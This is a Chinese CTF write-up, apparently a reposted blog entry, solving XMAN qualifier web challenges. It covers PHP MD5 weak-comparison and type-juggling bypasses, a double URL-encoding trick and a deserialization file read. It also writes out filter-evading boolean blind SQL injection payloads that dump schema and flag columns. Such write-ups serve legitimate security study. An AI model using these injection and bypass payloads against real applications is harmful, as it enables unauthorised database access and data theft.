variacover

这道题一打开就是源码,主要就是根据源码构造url。其中,它接收的参数只有b,但源码中要获取flag的关键参数是a[0]。parse_str()函数的作用是把查询字符串解析到变量中,于是我们可以通过将a[0]嵌入b的传参中,然后由这个函数再将a[0]提取出来,解析出a[0]后,还需要满足其值是MD5加密后与MD5('QNKCDZO’)的值相等,但加密前的字符串不相等,因为QNKCDZO的MD5匹配很常见,在网上就可以搜到,或者也自己写个脚本暴破,之所以会存在这种情况,是因为PHP的弱性质,字符串QNKCDZO经MD5加密后的密文是0e830400451993494058024219903391,而php在做hash比较时,会将0e\d+这类字符串解析成科学计数法,因此若两个不同的字符串经MD5加密后的密文为0e\d+类型则比较相等,同样的0e\d+类密文和0比较也是相等的。故最后构造如下payload:?b=a[0]=240610708

urldecode

一开始的提示很明显,首先尝试get方式传一个me的参数,页面会返回下一条提示:

于是更改传参的值为XMAN后,页面返回great,查看源码可得提示:

于是立马想到的是url的二次加密,将XMAN做两次url加密可得

之所以会想到二次加密是因为,urldecode()是url解密函数,字符串XMAN不可能做解密,那么最大的可能就是将二次加密的参数传到服务端,经服务端做了一次解密后,绕过检测,获取信息url信息XMAN,于是paylaod如下:

unserialize

从题目信息可以知道这是一道php反序列化的题,一开始还是跟着题目的提示做,随便传入一个参数code,得到提示flag.php,于是访问这个php页面,得到提示help.php,接着访问help.php得到最终的提示:

看这段代码的意思是读入filename文件的内容然后返回,filename的初始值是’error.log’,于是想到可以改成flag.php,试了下,最后是在./index.php页面,将php反序列化的代码作为code的值上传,最后的payload如下:

PHP

这道题一打开就是一片空白,很明显是源码泄露了,随手一试就爆出源码了:

这里有点浏览器的兼容问题,firefox上显示的源码不全,但是chorm上可以显示完整的源码:

<?php

$a=0;

$b=0;

$c=0;

if (isset($_GET['aaa']))

{

$aaa = $_GET['aaa'];

$aaa=="1"?die("Emmm..."):NULL;

switch ($aaa)

{

case 0:

case 1:

$a=1;

break;

}

}

$bbb=(array)json_decode(@$_GET['bbb']);

if(is_array($bbb)){

is_numeric(@$bbb["ccc"])?die("Emmm..."):NULL;

if(@$bbb["ccc"]){

($bbb["ccc"]>2017)?$b=1:NULL;

}

if(is_array(@$bbb["ddd"])){

if(count($bbb["ddd"])!==2 OR !is_array($bbb["ddd"][0])) die("Emmm...");

$eee = array_search("XMAN", $bbb["ddd"]);

$eee===false?die("Emmm..."):NULL;

foreach($bbb["ddd"] as $key=>$val){

$val==="XMAN"?die("Emmm..."):NULL;

}

$c=1;

}

}

if($a && $b && $c){

include "flag.php";

echo $flag;

}?>

于是根据源码的意思,需要上传两个参数aaa和bbb,最后拿到flag的条件是满足代码中的一些规则,使得a,b,c三个变量都为1。这道题主要考的是php的弱性质,其中,aaa的判断用的是==,需要使aaa为数字1,根据php将GET或者是POST的参数转换为int类型,或者是两个变量不匹配的时候,会自动地进行变量转换,可以用aaa=1a传参,且php的swicth有一个特点,当它是数字类型的case的判断时,switch会将其中的参数转换为int类型,故$a=1这里就实现了

然后是ccc的传参,不能为整数或整数型字符串,但其值要大于2017,和前面的道理一样,传2018a就可以了,于是$b=1就达成了。最后是ddd的构造,bbb和ddd还有ddd[0]均要为数组,这里由于json_decode(@$_GET['bbb']),bbb自动就是数组了

还要满足ddd的每一个元素都不为’XMAN’,且array_search("XMAN", $bbb["ddd"])函数返回的键名要为’XMAN’,这看起来有点矛盾,但其实也是一个php的弱特性,php的array_search()函数和in_array()都存在一个问题,如果strict参数没有提供,那么这两个函数就会使用松散比较来判断第一个参数是否在第二个数组参数中。当strince的值为true时,函数会比较两个参数的类型是否相同,而用来比较的’XAMN’又会转化成0,于是我们可以构造如下的payload:

Welcome2IRC

这道题根据题目irc就知道,多半是要下载什么客户端,题目的提示也很明显,一个不能打开的地址,还有“欢迎加入#XMAN”,于是,果断去下了一个irc的客户端,注册后用/server 202.112.51.184:6667连接服务器,然后join到#XMAN,就看到flag了:

CTF用户登录

尝试了下基本的注入,发现字符串注入可行

但是过滤了空格、加号和逗号,因为他的登录结果都是有明确的结果回显,所以首先想到了bool盲注,这里的绕过还是很常见的,用括号代替空格,屏蔽符号用#,逗号用for循环代替,于是如下初步的一个paylaod:

然后就是写脚本跑flag,先爆库名:

uaername=admin'and(select(length(database()))=4)#&password=admin&submit=

uaername=admin'and(ascii(mid(database()from(%d)for(1)))>0)#&password=admin&submit=

表名:

这里过滤了逗号,limit 0,1可以用limit 1 offset 0代替,但是很狗血的是空格也过滤了,limit 1 offset 0不能用limit(1)offset(0)代替,于是想到group_concat(),嗯,成功注出表名:

admin'and(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema='xman'))from(%d)for(1)))=%d)#

字段名:

admin'and(ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='ctf_flags'))from(%d)for(1)))=%d)#

Ctf_users的:

Ctf_flags的:

比赛方是个坑逼,flag在ctf_users表的gpass字段和ctf_flags表的ggflag字段里都有:

admin'and(ascii(mid((select(group_concat(ggflag))from(ctf_flags))from(%d)for(1)))=%d)#

ctf_users的flag:

ctf_flags里的经Base64解密后是:

然而这是个错的。。一般谁会去注意看,按照他的提示在ctf_users里找到正确的flag

ctf_users里的解密后是:

------------------------------------------------------------------------------------------------------------------------

看了官方的wp,不想说话,很迷啊这道题

官方的说法是这道题是不用写脚本的,也不是什么bool盲注(我选择狗带),就是让你们花式绕过滤简单的注一下,然后莫名其妙的在登录成功后访问一下index.php(黑人问号.jpg),关于index.php一点提示也没有,一点逻辑也没有,但是flag就出来了【摊手】,如图:

好吧,这种神逻辑暂且不说,但是wp还是有值得学习的地方,比如,用%0a或%0b代替空格,用join代替逗号,双引号可以转换成16进制,join这种方法第一次见,嗯,学习了

未完待续...

转载于:https://www.cnblogs.com/sherlock17/p/7214400.html

Xman资格选拔赛-web相关推荐

  1. 广西首届网络安全选拔赛 WEB Writeup

    WEB安全(WEB) WEB 题型就是最大众化的WEB漏洞的考察了,他会涉及到注入,代码执行,文件包含等常见的WEB漏洞. 管理员的愤怒 分值:100 靶机:192.168.43.134 阿水是某部门 ...

  2. 什么是 Web 3.0?定义、功能和示例

    ​计算的新时代已经开始.你一定已经注意到,互联网技术在过去十年中发展得非常迅速,变得越来越精密和复杂.物联网(IoT).3D数字孪生.区块链.增强现实和其他技术已经扩大了机会,以至于旧的Web 2.0 ...

  3. web 3.0 的个人理解总结

    web3.0 1.web3是什么: Web3.0将是一种"去中心化"的模式. 对于web3.0来说,用户自己就是平台.在这种环境下,用户不必在不同中心化的平台创建多种身份,而是自己 ...

  4. 攻防世界各类题目相关

    攻防世界 全沾菜鸡一枚的学习记录,如有冒犯还请大佬们多多指正. 这里面的题目自己再写的时候和复现的时候,有许多的是借鉴的大佬们的文章进行复现的,但是由于太多,并没有完整的记录下那些大佬们的博客的文章, ...

  5. Visual Studio 和 .NET Framework 词汇表(vs2008)

    本词汇表定义了 Visual Studio 2008 和 .NET Framework 中的关键术语. .NET Compact Framework 一种独立于硬件的环境,用于在资源受限制的计算设备上 ...

  6. Visual Studio 和 .NET Framework 词汇表

    本词汇表定义了 Visual Studio 2008 和 .NET Framework 中的关键术语. .NET Compact Framework 一种独立于硬件的环境,用于在资源受限制的计算设备上 ...

  7. 180107 逆向-Xman移动安全冬令营选拔赛

    1625-5 王子昂 总结<2018年1月7日> [连续第464天总结] A. Xman移动安全冬令营选拔赛 B. 搞完领航杯马不停蹄回来搞移动逆向,感谢主办方延长了时间~ 逆向类的题目很 ...

  8. 【CTF大赛】第五届XMan选拔赛 ezCM Writeup

    ezCM 直至比赛结束,这道题目都是 0 解题,一方面是因为比赛时间较短,另一方面还是因为这道题目较难,考察了不常见的椭圆曲线算法(ECC),大大增加了对做题者的要求. 题目信息 题目是使用 Gola ...

  9. 2022年湖北省第一届职业技能大赛世赛选拔赛网络安全竞赛规程

    2022年湖北省第一届职业技能大赛世赛选拔赛 网络安全赛项 一.赛项名称 赛项名称:网络安全 英文名称:Cyber Security 二.竞赛目的 为检验网络信息安全人才技术技能,促进网络信息安全人才 ...

最新文章

  1. 众辰nz200变频器使用说明书_一些电工听到变频器有点懵,今天我们一起来分析变频咋回事?...
  2. Linux设备驱动中的异步通知
  3. 实现手机访问网站时点击手机号码直接拨打电话的功能
  4. atitit。ocr框架类库大全 attilax总结
  5. MSCD software disk for win vista龙帝国vista 软件光盘合集
  6. iOS Gif分解与展示
  7. 免费的银行联行号查询/接口
  8. 【论文泛读18】利用BERT进行端到端面向方面的情感分析
  9. IJCAI 2022 | 量化交易相关论文(附论文链接)
  10. 用Notepad++实现文本比较
  11. python实现马科维茨模型的资本市场线_资产配置理论的基础之马科维茨模型
  12. C# 模拟鼠标移动和点击
  13. 互联网移动支付存在的安全风险和对策
  14. 小甲鱼零基础入门学习Python(绝对干货,值得学习)
  15. 还原精灵的另类卸载方法
  16. 计算机音乐数字乐谱牵丝戏,天谕手游牵丝戏乐谱代码是什么-天谕手游牵丝戏乐谱代码分享_快吧手游...
  17. 【省选模拟】西行(FWT)
  18. 一种微型计算机实现多重引导的方法
  19. SAP税务处理---采购/销售相关
  20. 《SEO教程:搜索引擎优化入门与进阶(第3版)》

热门文章

  1. 如何删除网络驱动器中记住的账号和密码(win10和Mac)
  2. 用Python写一个命令行火车票查看器
  3. 如何使用Navi-X增强您的Media Center流媒体体验
  4. 12 java中instanceof运算符的意义和用法
  5. 为什么按照“阿法狗”的思路去实现人工智能是歧路
  6. IBM WebSphere 产品介绍
  7. 移动端的tap事件你知道多少
  8. FFmpeg常用命令参数
  9. Winsoft OBR for FireMonkey v3.1 for Delphi C++ SEO-狼术
  10. 不小心执行了 rm -f,先别急着跑路 (内附彩蛋)!